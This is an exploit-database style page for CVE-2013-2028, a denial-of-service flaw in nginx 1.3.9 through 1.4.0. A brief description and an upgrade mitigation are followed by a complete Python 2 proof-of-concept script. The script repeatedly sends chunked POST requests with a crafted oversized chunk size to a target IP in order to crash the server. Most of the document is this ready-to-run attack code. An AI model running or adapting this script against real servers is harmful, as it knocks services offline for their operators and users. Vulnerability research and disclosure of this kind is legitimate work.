nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)

vendor:

nginx

by:

Mert SARICA

7,5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: nginx

Affected Version From: 1.3.9

Affected Version To: 1.4.0

Patch Exists: YES

Related CWE: CVE-2013-2028

CPE: nginx:nginx

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux & nginx v1.4.0

2013

nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)

This exploit is a proof of concept for a denial of service vulnerability in nginx versions 1.3.9-1.4.0. The vulnerability is caused by a flaw in the way nginx handles chunked transfer encoding requests. By sending a specially crafted request with a large chunk size, an attacker can cause the nginx process to crash.

Mitigation:

Upgrade to the latest version of nginx to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Google Dork: CVE-2013-2028
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2028

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked

if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"

if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip]\n"
        print "Example: python nginx_dos.py 127.0.0.1\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
        
while packet <= 5:

    body = "Mert SARICA"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

    try:
        con = httplib.HTTPConnection(host)
        url = "/mertsarica.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', "application/x-www-form-urlencoded")
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
        
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"

    packet = packet + 1
    
    con.close()

print "[+] Done!"